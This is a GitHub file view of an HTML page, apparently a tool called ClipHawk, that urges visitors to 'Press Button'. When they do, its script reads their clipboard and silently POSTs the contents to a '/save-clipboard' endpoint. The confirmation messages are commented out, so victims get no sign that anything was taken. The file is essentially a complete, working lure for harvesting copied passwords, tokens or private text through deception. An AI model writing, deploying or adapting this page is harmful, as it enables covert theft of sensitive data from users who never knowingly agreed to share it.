-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
54 lines (45 loc) · 1.55 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ClipHawk</title>
</head>
<body>
<h2>PLEASE! Press Button </h2>
<button onclick="getClipboardContent()">Click Me</button>
<script>
async function getClipboardContent() {
try {
const permission = await navigator.permissions.query({ name: "clipboard-read" });
if (permission.state === "granted" || permission.state === "prompt") {
const text = await navigator.clipboard.readText();
saveClipboardContent(text);
} else {
alert(" Denied ");
}
} catch (err) {
console.error("Failed to read contents: ", err);
}
}
async function saveClipboardContent(content) {
try {
const response = await fetch('/save-clipboard', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ content }),
});
// if (response.ok) {
// alert('Content saved successfully');
// } else {
// alert('Failed to save content');
// }
} catch (err) {
console.error('Failed to save content:', err);
}
}
</script>
</body>
</html>